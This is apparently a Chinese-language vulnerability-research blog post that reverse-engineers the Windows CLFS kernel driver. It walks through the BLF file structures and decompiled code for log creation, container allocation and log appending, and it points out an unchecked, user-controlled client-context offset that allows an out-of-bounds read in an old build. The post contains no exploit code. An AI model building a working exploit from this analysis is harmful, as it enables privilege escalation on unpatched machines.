0x00 CLFS简介
根据微软官方文档,能够知道CLFS是一个通用的高性能日志文件系统,可以通过API去进行日志的写入和读取等操作,但其实际功能不局限于日志记录,还包括数据以及事件管理等。
For data management, you can use CLFS with the following:
- Database systems
- Messaging, such as store-and-forward systems
- Online transactional processing (OLTP) systems
- Other kinds of transactional systems
For event management, you can use CLFS for the following:
- Network event logging for firewall, sniffer, and tripwire events
- Threat analysis, including threat event logging and threat data-stream collection
- Audit logging, including compliance logs
作为内核驱动模块,它同时为用户模式和内核模式提供高性能持久日志服务,与用户进行交互也意味着存在漏洞被恶意利用的风险。
CLFS的特色之处在于其将一些元数据以及实体数据存储在使用者指定的文件中,且文件是可以被所有者修改的。内核解析用户可控的数据文件是有一定风险的,这会暴露出许多攻击面。
0x01 BLF文件格式
BLF文件格式以及内核相关结构体并未被官方公开(也可能是我没找到相关文档),但是有大佬已经逆向分析出了这些结构,因此我们可以站在巨人的肩膀上对CLFS进行分析。
BLF全称Base Log File,表示基础日志文件,它保存着几乎所有的日志相关基础信息。
The base log file (.blf) contains the log store metadata, like:
- the beginning of the log,
- the container size,
- the container path,
- the location from which restart operations should be per formed,
- the log state,
- the log name,
- the log clients.
其结构如下:

其中Control Block包含有关布局、扩展区域和截断区域的信息;Base Block包含符号表,这些符号表存储与基础日志文件相关联的各种客户端、容器和安全上下文的信息,以及这些信息的统计信息;Truncate Block包含有关每个客户端(流)的信息(这些客户端需要因截断操作而更改扇区)以及相关的扇区字节更改。
并且每个Block都会定义一个Shadow块,保存着先前写入的元数据副本,当在进行数据写入时被异常情况打断,就需要通过Shadow块恢复数据。
每个Block都有一个共同的header:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| typedef struct _CLFS_LOG_BLOCK_HEADER { UCHAR MajorVersion; UCHAR MinorVersion; UCHAR Usn; CLFS_CLIENT_ID ClientId; USHORT TotalSectorCount; USHORT ValidSectorCount; ULONG Padding; ULONG Checksum; ULONG Flags; CLFS_LSN CurrentLsn; CLFS_LSN NextLsn; ULONG RecordOffsets[16]; ULONG SignaturesOffset; } CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;
|
Control Block
对于Control Block,其Record结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| typedef struct _CLFS_CONTROL_RECORD { CLFS_METADATA_RECORD_HEADER hdrControlRecord; ULONGLONG ullMagicValue; UCHAR Version; CLFS_EXTEND_STATE eExtendState; USHORT iExtendBlock; USHORT iFlushBlock; ULONG cNewBlockSectors; ULONG cExtendStartSectors; ULONG cExtendSectors; CLFS_TRUNCATE_CONTEXT cxTruncate; USHORT cBlocks; ULONG cReserved; CLFS_METADATA_BLOCK rgBlocks[ANYSIZE_ARRAY]; } CLFS_CONTROL_RECORD, *PCLFS_CONTROL_RECORD;
|
重点在于rgBlocks数组,该数组定义了基础日志文件中存在的元数据块集合。尽管我们知道这应该是 6 个,但可能存在额外的元数据块,因此为了向前兼容, cBlocks 字段指示数组中的块数。
可以看到该数组结构体如下:
1 2 3 4 5 6 7 8 9 10 11
| typedef struct _CLFS_METADATA_BLOCK { union { PUCHAR pbImage; ULONGLONG ullAlignment; }; ULONG cbImage; ULONG cbOffset; CLFS_METADATA_BLOCK_TYPE eBlockType; } CLFS_METADATA_BLOCK, *PCLFS_METADATA_BLOCK;
|
可知可以通过控制Control Block定义更多的元数据块。
Base Block
Base Block包含与基础日志文件相关联的客户端和容器的信息,以及它们的相关上下文。此外,每个容器的共享安全上下文和一些状态信息也存储在这里。
这些信息存储在描述为符号的数据结构组合以及记录开头的头部字段中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| typedef struct _CLFS_BASE_RECORD_HEADER { CLFS_METADATA_RECORD_HEADER hdrBaseRecord; CLFS_LOG_ID cidLog; ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE]; ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE]; ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE]; ULONG cNextContainer; CLFS_CLIENT_ID cNextClient; ULONG cFreeContainers; ULONG cActiveContainers; ULONG cbFreeContainers; ULONG cbBusyContainers; ULONG rgClients[MAX_CLIENTS_DEFAULT]; ULONG rgContainers[MAX_CONTAINERS_DEFAULT]; ULONG cbSymbolZone; ULONG cbSector; USHORT bUnused; CLFS_LOG_STATE eLogState; UCHAR cUsn; UCHAR cClients; } CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;
|
可知Base Block块存储了整个CLFS框架的大部分信息。
Truncate Block
Truncate Record的header为:
1 2 3 4 5 6
| typedef struct _CLFS_TRUNCATE_RECORD_HEADER { CLFS_METADATA_RECORD_HEADER hdrBaseRecord; ULONG coffClientChange; ULONG coffOwnerPage; } CLFS_TRUNCATE_RECORD_HEADER, *PCLFS_TRUNCATE_RECORD_HEADER;
|
客户端变更描述符结构如下:
1 2 3 4 5 6 7 8 9 10 11
| typedef struct _CLFS_TRUNCATE_CLIENT_CHANGE { CLFS_CLIENT_ID cidClient; CLFS_LSN lsn; CLFS_LSN lsnClient; CLFS_LSN lsnRestart; USHORT cLength; USHORT cOldLength; ULONG cSectors; CLFS_SECTOR_CHANGE rgSectors[ANYSIZE_ARRAY]; } CLFS_TRUNCATE_CLIENT_CHANGE, *PCLFS_TRUNCATE_CLIENT_CHANGE;
|
此结构指定正在被修改的客户端标识符(流标识符),以及替换块的物理和虚拟 LSN。
扇区变更描述符则是记录要变更的扇区数据。
1 2 3 4 5 6
| typedef struct _CLFS_SECTOR_CHANGE { ULONG iSector; ULONG ulUnused; BYTE rgbSector[CLFS_SECTOR_SIZE]; } CLFS_SECTOR_CHANGE, *PCLFS_SECTOR_CHANGE;
|
0x02 CLFS整体的类&函数框架
IRP接口
CClfsDriver类是CLFS驱动初始类,该类提供了驱动加载时的大部分初始化操作函数以及用户与驱动交互的起始接口。驱动初始化时会将CClfsDriver::LogIoDispatch作为所有的IRP函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| void __fastcall CClfsDriver::SetIrpFunctions(CClfsDriver *this) { __int64 v1; __int64 v2;
v1 = 272i64; *(_QWORD *)(*((_QWORD *)this + 1) + 104i64) = 0i64; *(_QWORD *)(*((_QWORD *)this + 1) + 112i64) = CClfsDriver::LogIoDispatch; *(_QWORD *)(*((_QWORD *)this + 1) + 128i64) = CClfsDriver::LogIoDispatch; *(_QWORD *)(*((_QWORD *)this + 1) + 224i64) = CClfsDriver::LogIoDispatch; do { *(_QWORD *)(v1 + *((_QWORD *)this + 1)) = CClfsDriver::LogIoDispatch; v1 += 8i64; } while ( v1 < 288 ); v2 = 136i64; *(_QWORD *)(*((_QWORD *)this + 1) + 152i64) = CClfsDriver::LogIoDispatch; do { *(_QWORD *)(v2 + *((_QWORD *)this + 1)) = CClfsDriver::LogIoDispatch; v2 += 8i64; } while ( v2 < 152 ); *(_QWORD *)(*((_QWORD *)this + 1) + 0xA0i64) = CClfsDriver::LogIoDispatch; *(_QWORD *)(*((_QWORD *)this + 1) + 240i64) = CClfsDriver::LogIoDispatch; *(_QWORD *)(*((_QWORD *)this + 1) + 256i64) = CClfsDriver::LogIoDispatch; *(_QWORD *)(*((_QWORD *)this + 1) + 216i64) = CClfsDriver::LogIoDispatch; }
|
然后该函数会调用ClfsDispatchIoRequest函数进行IO的Cleanup、Close和其他操作的划分,如果是其他非关闭类型的操作会进行CClfsRequest类的初始化,该类是CLFS框架的主要IO处理类,由CClfsRequest::Dispatch函数处理其他所有的IO请求。
CreateLogFile
最开始时,我们需要先调用CreateLogFile的api,从而调用NtCreateFile,触发CLFS的Create IO操作,最终进入CLFS驱动的CClfsRequest::Create函数执行。
如果我们创建的LogFile不存在,或者未绑定文件对象,就会进入如下分支(存在3种该情况的分支但总的来说都是创建对应的文件对象):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| v3 = (char *)&CClfsRequest::m_rgFcbTable + 160 * ((unsigned __int16)ClfsHashPJW((const struct _UNICODE_STRING *)&Buffer) % 5); inserted = RtlLookupElementGenericTableFullAvl((PRTL_AVL_TABLE)(v3 + 56), &Buffer, &NodeOrParent, &SearchResult); if ( SearchResult != TableFoundNode ) { inserted = RtlInsertElementGenericTableFullAvl( (PRTL_AVL_TABLE)(v3 + 56), &Buffer, 0x10u, &NewElement, NodeOrParent, SearchResult); NewElement = 1; } if ( inserted ) { v2 = (CClfsLogFcbPhysical *)*((_QWORD *)inserted + 15); v52 = v2; if ( !NewElement ) _guard_dispatch_icall_fptr(v2); v15 = v2->field_380 != 0; ExReleaseFastMutexUnsafe((PFAST_MUTEX)v3); v43 = 0; if ( v15 ) KeWaitForSingleObject(&v2->KEVENT1, Executive, 0, 0, 0LL); v16 = ClfsEffectiveMode(this->Irp, CurrentStackLocation); v17 = CClfsLogFcbPhysical::Initialize( (#457 *)v2, (__int64)v50, &AccessState->SubjectSecurityContext, DesiredAccess, (unsigned __int16)UserApcRoutine, AccessState, v16, v50, v54, v46); goto LABEL_14; } goto LABEL_56; }
|
能够注意到这里有一个AVL桶,通过Filename的hash值进行匹配找到对应的hash桶,再往桶里面Insert一个新元素。
桶操作的相关函数在CClfsRequest::InitializeGlobals中进行初始化,。
1 2 3 4 5 6
| RtlInitializeGenericTableAvl( (PRTL_AVL_TABLE)(v1 + 40), (PRTL_AVL_COMPARE_ROUTINE)CClfsLogFcbCommon::CompareLogFileName, (PRTL_AVL_ALLOCATE_ROUTINE)CClfsLogFcbPhysical::AllocateFcb, (PRTL_AVL_FREE_ROUTINE)CClfsLogFcbPhysical::FreeFcb, v1 - 16);
|
CClfsLogFcbPhysical::AllocateFcb函数则会创建一个CClfsLogFcbPhysical类实例并初始化返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| char *__fastcall CClfsLogFcbPhysical::AllocateFcb(struct _RTL_AVL_TABLE *Table, CLONG ByteSize) { struct _CLFS_FCB_TABLE_HEADER *TableContext; CClfsLogFcbPhysical *v3; CClfsLogFcbPhysical *v4;
TableContext = (struct _CLFS_FCB_TABLE_HEADER *)Table->TableContext; v3 = (CClfsLogFcbPhysical *)ExAllocateFromNPagedLookasideList(&CClfsLogFcbPhysical::m_laList); if ( v3 ) v4 = CClfsLogFcbPhysical::CClfsLogFcbPhysical(v3, TableContext); else v4 = 0LL; if ( !v4 ) return 0LL; (*(void (__fastcall **)(CClfsLogFcbPhysical *))(v4->CClfsLogFcbCommonVftable + 64))(v4); return v4->filename; }
|
最后根据CreateDisposition选择对应的CClfsLogFcbPhysical::Initialize重载函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| v15 = BYTE3(CurrentStackLocation->Parameters.QueryEa.EaList); v6 = (char *)&CClfsRequest::m_rgFcbTable + 160 * ((unsigned __int16)ClfsHashPJW((const struct _UNICODE_STRING *)&Buffer) % 5); v61 = v6; ExAcquireFastMutexUnsafe((PFAST_MUTEX)v6); v7 = 1; v48 = 1; v16 = v15 - 1; if ( !v16 ) { inserted = RtlLookupElementGenericTableFullAvl((PRTL_AVL_TABLE)(v6 + 56), &Buffer, &NodeOrParent, &SearchResult); if ( SearchResult != TableFoundNode ) { inserted = RtlInsertElementGenericTableFullAvl( (PRTL_AVL_TABLE)(v6 + 56), &Buffer, 0x10u, &NewElement, NodeOrParent, SearchResult); NewElement = 1; } if ( inserted ) { v5 = (CClfsLogFcbPhysical *)*((_QWORD *)inserted + 15); v57 = v5; ... v20 = CClfsLogFcbPhysical::Initialize( (#457 *)v5, (__int64)v55, &AccessState->SubjectSecurityContext, DesiredAccess, (unsigned __int16)UserApcRoutine, AccessState, v19, v55, v59, v51); goto LABEL_14; } goto LABEL_56; } v23 = v16 - 1; if ( !v23 ) { v37 = RtlInsertElementGenericTableAvl((PRTL_AVL_TABLE)(v6 + 0x38), &Buffer, 0x10u, &NewElement); ... v20 = CClfsLogFcbPhysical::Initialize( (#457 *)v5, AccessState->SecurityDescriptor, v39, v69, DesiredAccess, (unsigned __int16)UserApcRoutine, v55, v59, v51); goto LABEL_14; } goto LABEL_56; } if ( v23 == 1 ) { v24 = RtlLookupElementGenericTableFullAvl((PRTL_AVL_TABLE)(v6 + 0x38), &Buffer, &NodeOrParent, &SearchResult); if ( SearchResult != TableFoundNode ) { v24 = RtlInsertElementGenericTableFullAvl( (PRTL_AVL_TABLE)(v6 + 0x38), &Buffer, 0x10u, &NewElement, NodeOrParent, SearchResult); NewElement = 1; } if ( v24 ) { ... v21 = CClfsLogFcbPhysical::Initialize( (#457 *)v5, (__int64)v55, &AccessState->SubjectSecurityContext, DesiredAccess, v28, AccessState, v26, v55, v59, v51); if ( v21 != -1073741772 ) goto LABEL_15; v20 = CClfsLogFcbPhysical::Initialize( (#457 *)v5, AccessState->SecurityDescriptor, (struct _SECURITY_SUBJECT_CONTEXT *)MasterIrp, v69, DesiredAccess, (unsigned __int16)UserApcRoutine, v55, v27, v51); ... }
|
官方文档有对这三个参数值进行介绍。
1 2 3 4 5 6 7 8 9 10 11
| CREATE_NEW
创建一个新文件,如果该文件已存在,则失败。
OPEN_EXISTING
打开现有文件,如果该文件不存在,则失败。
OPEN_ALWAYS
打开现有文件,或者创建该文件(如果不存在)。
|
如果是CREATE_NEW或者OPEN_ALWAYS(文件不存在的情况)就调用创建文件的重载CClfsLogFcbPhysical::Initialize进行总的初始化操作,大致操作如下:
- 调用CClfsLogFcbPhysical::CreateBaseFileName将Filename与”.blf”拼接得到真实文件名。
- 调用CClfsBaseFilePersisted::CreateImage进行文件创建及初始化,此时会创建CClfsContainer实例进行实际文件的操作。
- 最终通过CClfsContainer::WriteSector实现向文件扇区写入实际内容,完成blf文件的整体构造。
如果是OPEN_EXISTING或者OPEN_ALWAYS就调用打开文件的重载CClfsLogFcbPhysical::Initialize进行总的初始化操作,大致操作如下:
- 调用CClfsLogFcbPhysical::CreateBaseFileName将Filename与”.blf”拼接得到真实文件名。
- 调用CClfsBaseFilePersisted::OpenImage打开文件并调用CClfsBaseFilePersisted::ReadImage读取文件内容进行初始化。
查看ReadImage实现,能够看到这里是优先基于默认初始的信息获取Control Block。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| if ( this->cBlocks || this->BlocksInfo ) { ControlRecord = -1073741436; goto LABEL_38; } this->cBlocks = 6; v5 = 0x90LL; if ( !is_mul_ok(6uLL, 0x18uLL) ) v5 = -1LL; this->BlocksInfo = (_CLFS_METADATA_BLOCK *)ExAllocatePoolWithTag((POOL_TYPE)512, v5, 1936092227); v6 = 2LL * (unsigned __int16)this->cBlocks; if ( !is_mul_ok((unsigned __int16)this->cBlocks, 2uLL) ) v6 = -1LL; PoolWithTag = ExAllocatePoolWithTag((POOL_TYPE)512, v6, 1936092227); this->field_38 = (__int64)PoolWithTag; BlocksInfo = this->BlocksInfo; if ( !BlocksInfo || !PoolWithTag ) goto LABEL_36; memset(BlocksInfo, 0, 24LL * (unsigned __int16)this->cBlocks); memset((void *)this->field_38, 0, 2LL * (unsigned __int16)this->cBlocks); this->BlocksInfo->cbOffset = 0; this->BlocksInfo->cbImage = 2 * this->field_90; this->BlocksInfo[1].cbOffset = 2 * this->field_90; this->BlocksInfo[1].cbImage = 2 * this->field_90; ControlRecord = CClfsBaseFile::GetControlRecord(this, a2);
|
它会从Control Block中读取各个Block的信息,获取堆块大小和类型等数据。
1 2 3 4 5 6 7 8 9 10
| pbImage = this->BlocksInfo->pbImage; for ( i = 0; i < (unsigned __int16)this->cBlocks; ++i ) { v16 = i; v17 = *a2; v18 = this->BlocksInfo; *(_OWORD *)&v18[v16].pbImage = *(_OWORD *)&(*a2)->rgBlocks[i].pbImage; *(_QWORD *)&v18[v16].eBlockType = *(_QWORD *)&v17->rgBlocks[i].eBlockType; this->BlocksInfo[v16].ullAlignment = 0LL; }
|
之后调用CClfsBaseFile::AcquireMetadataBlock去获取Base Block的信息。
1 2 3
| this->BlocksInfo->pbImage = pbImage; this->BlocksInfo[1].ullAlignment = (ULONGLONG)pbImage; ControlRecord = CClfsBaseFile::AcquireMetadataBlock(this, 2LL);
|
这里会检查Block是否超出范围,cBlocks代表Bloc总数,然后调用CClfsBaseFilePersisted::ReadMetadataBlock去读取。
1 2 3 4 5 6 7 8 9 10 11 12
| if ( (int)a2 < 0 || (int)a2 >= (unsigned __int16)a1->cBlocks ) return 3221226021LL; v4 = (int)a2; if ( ++*(_WORD *)(a1->field_38 + 2LL * (int)a2) == 1 ) { v2 = ((__int64 (__fastcall *)(CClfsBaseFilePersisted *, __int64, _QWORD))a1->vftable->ReadMetadataBlock)( a1, a2, 0LL); if ( v2 < 0 ) --*(_WORD *)(a1->field_38 + 2 * v4); }
|
ReadMetadataBlock则是先申请cbImage大小的堆块,然后一个Block一个Block的读取数据,最后将堆块赋值给pbImage,并且这里能够看到Shadow Block的特征,当前Block若是存在验证问题会从影子块获取数据,影子块也有问题就会直接返回异常了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| PoolWithTag = (struct _CLFS_LOG_BLOCK_HEADER *)ExAllocatePoolWithTag(PagedPoolCacheAligned, cbImage, 1936092227); if ( PoolWithTag ) { this->BlocksInfo[v2].pbImage = PoolWithTag; memset(PoolWithTag, 0, cbImage); LODWORD(this->field_C8) = 0; this->field_D0 = 0LL; v22 = 0; *(_QWORD *)&v21 = PoolWithTag; v7 = cbImage >> 9; v8 = CClfsContainer::ReadSector( (PFILE_OBJECT *)this->CClfsContainer, (struct _KEVENT *)this->ReadEvent, 0LL, (PMDL *)&v21, v7, &cbOffset); if ( v8 >= 0 ) { v8 = KeWaitForSingleObject((PVOID)this->ReadEvent, Executive, 0, 0, 0LL); if ( v8 >= 0 ) { v8 = ClfsDecodeBlock(PoolWithTag, v7, PoolWithTag->Usn, 0x10u, (unsigned int *)&cbOffset); if ( v8 == 0xC01A0009 && !PoolWithTag->MajorVersion && !LOWORD(PoolWithTag->ClientId) ) v8 = 0xC01A000D; v9 = (unsigned int)(v2 + 1); if ( (unsigned int)v9 >= (unsigned __int16)this->cBlocks || (_DWORD)v2 == -1 || (((_BYTE)v2 + 1) & 1) == 0 ) { if ( v8 >= 0 ) this->BlocksInfo[v2].pbImage = PoolWithTag; } else { v10 = ((__int64 (__fastcall *)(CClfsBaseFilePersisted *, _QWORD, void *))this->vftable->ReadMetadataBlock)( this, (unsigned int)v9, this->vftable->ReadMetadataBlock); v11 = v10; if ( v8 < 0 ) { if ( v10 >= 0 ) { ExFreePoolWithTag(this->BlocksInfo[v2].pbImage, 0); this->BlocksInfo[v2].pbImage = 0LL; PoolWithTag = 0LL; this->BlocksInfo[v2].cbImage = this->BlocksInfo[v9].cbImage; this->BlocksInfo[v2].pbImage = this->BlocksInfo[v9].pbImage; v8 = v11; }
|
如果在OpenImage函数调用完后继续分析,能够发现还调用了AcquireClientContext获取第0个客户端上下文。
1 2 3 4 5 6
| CClfsBaseFile::AcquireClientContext(this->CClfsBaseFilePersisted, 0, &v72); if ( !v72 ) { EventObject = -1072037875; goto LABEL_85; }
|
它会获取BaseLogRecord->rgClients[0]处存储的偏移,这里是用户指定的。
1 2 3 4 5 6 7 8 9
| BaseLogRecord = CClfsBaseFile::GetBaseLogRecord(this); if ( BaseLogRecord ) { v8 = BaseLogRecord->rgClients[a2]; if ( v8 + 1 <= 1 ) result = 0xC0000008LL; else result = CClfsBaseFile::GetSymbol(this, v8, a3); }
|
之后基于该偏移获取客户端上下文指针,能够发现这期间并没有任何的检查,而这个偏移又是我们可控的,这就使得此处存在越界读取的漏洞,可以通过构造伪造出一个客户端上下文从而进行利用。(在高版本这个漏洞已然修复,我使用的是1511最早期的版本故漏洞仍然存在)
1 2 3 4 5 6 7 8
| ExAcquireResourceSharedLite(this->PERESOURCE, 1u); BaseLogRecord = CClfsBaseFile::GetBaseLogRecord(this); if ( *(_DWORD *)((char *)BaseLogRecord + v4 - 12) == (_DWORD)v4 ) { *a3 = (struct _CLFS_CLIENT_CONTEXT *)((char *)BaseLogRecord + v4); } else {
|
最后则是容器的导入,它会调用CClfsBaseFilePersisted::LoadContainerQ函数去遍历所有的Record获取容器地址并为每个容器创建容器类再将类指针载入Record中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| while ( (unsigned int)v22 < 0x400 ) { v24 = v23 == v21; if ( v23 >= v21 ) goto LABEL_104; v68 = 0LL; RtlInitUnicodeString(&DestinationString, &word_1C0044010); v19 = (CClfsContainer *)rgContainers; v25 = rgContainers[v22]; if ( (_DWORD)v25 ) { if ( (int)CClfsBaseFile::GetSymbol(this, v25, v22, &v68) < 0 ) goto LABEL_15; v26 = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this); if ( !v26 ) goto LABEL_15; if ( (unsigned int)v25 >= *(unsigned __int16 *)(v27 + 4) << 9 ) goto LABEL_15; if ( !(struct _CLFS_BASE_RECORD_HEADER *)((char *)v26 + v25) ) goto LABEL_15; v29 = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this); if ( !v29 ) goto LABEL_15; if ( v28 >= *(unsigned __int16 *)(v30 + 4) << 9 ) goto LABEL_15; v31 = (const WCHAR *)((char *)v29 + v28); ... v38 = (CClfsContainer *)ExAllocateFromNPagedLookasideList(&CClfsContainer::m_laList); if ( v38 ) v19 = CClfsContainer::CClfsContainer(v38, v39); else v19 = 0LL; v33->ullAlignment = (ULONGLONG)v19; if ( !v19 ) { LABEL_115: v12 = -1073741670; goto LABEL_116; } (**(void (__fastcall ***)(CClfsContainer *))v19)(v19); v40 = v77; v41 = CClfsContainer::Open( v33->pContainer, &v69, (const struct _CLFS_FILTER_CONTEXT *)&this->field_B0, v77, (unsigned __int8 *)&v76); v33->pContainer = (ULONGLONG)v19;
|
AllocContainer
BLF文件保存的主要是我们的元数据信息,包括我们的容器基本信息,但是它并不保存我们的实际日志数据,实际的数据信息都存储在我们的容器文件中,而AllocContainer接口则是用于创建我们的容器文件的。
CClfsBaseFilePersisted::AddContainer函数是我们的主要的处理函数。
通过逆向分析可知,首先它会对我们的BLF文件进行修改,将容器信息存入我们的Base Record中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| } RtlSetBits(&this->bitmap, v9, 1u); v17 = CClfsBaseFile::GetBaseLogRecord(this); v18 = *((unsigned int *)v15 + 9); v19 = (char *)v17 + v18; a7 = (struct _CLFS_BASE_RECORD_HEADER *)((char *)v17 + v18); *((_DWORD *)v13 + v9 + 202) = v18; *((_QWORD *)v19 + 1) = *a3; *((_DWORD *)v19 + 4) = v9; *((_DWORD *)v19 + 5) = ClfsLsnContainer(&CLFS_LSN_INVALID); *(_DWORD *)v19 = -1040322552; *((_DWORD *)v19 + 1) = 48; *(_QWORD *)(v19 + 36) = 1LL; *((_DWORD *)v19 + 11) = 0; *((_QWORD *)v19 + 3) = 0LL; v29 = 1; v12 = CClfsBaseFilePersisted::FlushImage(this);
|
然后调用CClfsBaseFilePersisted::CreateContainer创建CClfsContainer实例,然后调用各个函数获取容器信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| v11 = (CClfsContainer *)ExAllocateFromNPagedLookasideList(&CClfsContainer::m_laList); if ( v11 ) PoolWithTag = CClfsContainer::CClfsContainer(v11); else PoolWithTag = 0LL; *a7 = PoolWithTag; if ( !PoolWithTag ) { LABEL_19: v14 = -1073741670; LABEL_21: v20 = v14; goto LABEL_28; } _guard_dispatch_icall_fptr(PoolWithTag); v10 = ExAcquireResourceExclusiveLite(this->PERESOURCE, 1u); if ( !a6 ) { PoolWithTag = (struct CClfsContainer *)ExAllocatePoolWithTag( PagedPool, (unsigned int)CClfsBaseFile::m_cbNoSecurity, 0x73666C43u); v22 = PoolWithTag; if ( PoolWithTag ) { memmove(PoolWithTag, CClfsBaseFile::m_psdNoSecurity, (unsigned int)CClfsBaseFile::m_cbNoSecurity); goto LABEL_7; } goto LABEL_19; } if ( (int)CClfsBaseFilePersisted::QueryBaseSecurity(this, &P, &v21) < 0 ) { v14 = -1073741703; goto LABEL_21; } v13 = CClfsBaseFilePersisted::CreateContainerSecurityDescriptor((CClfsBaseFilePersisted *)PoolWithTag, P, v21, &v22); v14 = v13;
|
最终调用CClfsContainer::Create函数创建我们的Container文件。
ReserveAndAppendLog
CClfsRequest::ReserveAndAppendLog用于往日志容器中添加内容,它首先会为UserBuffer创建MDL,并保存到到实例化的CClfsMdlReference类中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| v21 = ClfsProbeAndAllocateMdl( AccessMode, this->Irp->UserBuffer, (v45 + 511) & 0xFFFFFE00, v9, (__int64)Irp, *(__int64 *)Priority, &Mdl); v3 = v21; v43 = v21; if ( v21 < 0 ) { if ( v21 == -1073741670 ) CClfsLogFcbCommon::ReportFlushFailure(5LL, 3221225473LL); v12 = v3; v11 = 22; goto LABEL_15; } PoolWithTag = ExAllocatePoolWithTag((POOL_TYPE)512, 0x18uLL, 0x4A666C43u); if ( PoolWithTag ) { *(_QWORD *)PoolWithTag = &CClfsMdlReference::`vftable'; PoolWithTag[2] = 0; v23 = Mdl; *((_QWORD *)PoolWithTag + 2) = Mdl; }
|
然后调用MmMapLockedPagesSpecifyCache映射MDL(对应UserBuffer)的物理内存到新的虚拟内存,保存到结构体中。不过经过测试发现这里的虚拟地址在Flush进磁盘后都没被读取过Record内容,有可能是基于物理内存的存入没直接涉及到该虚拟地址。
1 2 3 4 5 6 7 8
| if ( (*(_BYTE *)(v13 + 10) & 5) != 0 ) v14 = *(PVOID *)(v13 + 24); else v14 = MmMapLockedPagesSpecifyCache((PMDL)v13, 0, MmCached, 0LL, 0, 0x40000010u); if ( v14 ) { this->field_78 = (__int64)v14; }
|
之后再调用CClfsLogFcbPhysical::ReserveAndAppendLog进行实际的预留和添加操作,该函数会调用CClfsLogFcbPhysical::AppendLog函数进行对应Record的添加。
主要逻辑位于此处,遍历所有的容器,通过LSN比较找到匹配的容器,并将存放了append信息的CClfsFlushElt实例Insert进链表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| *(_BYTE *)(v17 + 8) = v37 | 0x20; v38 = (unsigned int)CClfsLogFcbPhysical::RawSectorAlign((#457 *)this, (_DWORD)v35 << 9) >> 9; *(_DWORD *)(v17 + 24) = v38; v52 = CClfsLogFcbPhysical::RawSectorAlign((#457 *)this, (unsigned __int64)v38 << 9) + v31; *(_QWORD *)(v17 + 64) = _guard_dispatch_icall_fptr(a11); if ( (v19 & 4) != 0 ) *(_QWORD *)(v17 + 88) = CClfsLogFcbPhysical::FreeOwnerPage; CClfsLogFcbPhysical::RawSectorAlign((#457 *)this, *(_DWORD *)(v17 + 24) << 9); this->ullOffset3 = *(_QWORD *)CClfsLogFcbPhysical::AddLsnOffset((#457 *)this, &v55, (int)this + 0x1E8).ullOffset; while ( ClfsLsnContainer((const CLFS_LSN *)&this->ullOffset3) != v32 && ClfsLsnContainer(&CLFS_LSN_INVALID) != v32 ) { v32 = CClfsLogFcbPhysical::GetNextContainer((#457 *)this, v32); if ( ClfsLsnContainer(&CLFS_LSN_INVALID) != v32 ) CClfsLogFcbPhysical::ObservationContainerConsumed((#457 *)this, a3); } } *(_BYTE *)(v17 + 8) |= 1u; _InterlockedExchangeAdd((volatile signed __int32 *)&this->field_4F8, *(_DWORD *)(v17 + 24) << 9); this->ullOffset14 = *(_QWORD *)(v17 + 40); ExInterlockedInsertTailList( (PLIST_ENTRY)this->FlushEltLink, (PLIST_ENTRY)(v17 + 104), (PKSPIN_LOCK)this->field_390);
|
回到CClfsLogFcbPhysical::ReserveAndAppendLog函数,它会根据参数选择是否调用FlushLog刷新Record进入磁盘。
1 2 3 4 5 6
| if ( a8 ) { v25 = _guard_dispatch_icall_fptr(this); v23 = v25; v28 = v25; if ( v25 < 0 )
|
跟踪进入CClfsLogFcbPhysical::FlushLog函数,可以看到它对整个FlushEltLink进行了遍历。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| for ( i = *(_QWORD **)this->FlushEltLink; i != (_QWORD *)this->FlushEltLink; i = (_QWORD *)*i ) { v41 = 0LL; v19 = i[3]; v45 = v19; if ( v9 ) { if ( !ClfsLsnLess((const CLFS_LSN *)(v19 + 0x28), plsn2) ) break; } *(_QWORD *)(v19 + 120) = CClfsFlushElt::AsyncIoCompletion; *(_DWORD *)(v19 + 36) = 0; ++*(_DWORD *)(v19 + 32); plsn = (CLFS_LSN *)(v19 + 40); ContainerForLsn = CClfsLogFcbPhysical::GetContainerForLsn( (#457 *)this, &v39, &v40, (const union _CLS_LSN *)(v19 + 40)); v35 = ContainerForLsn;
|
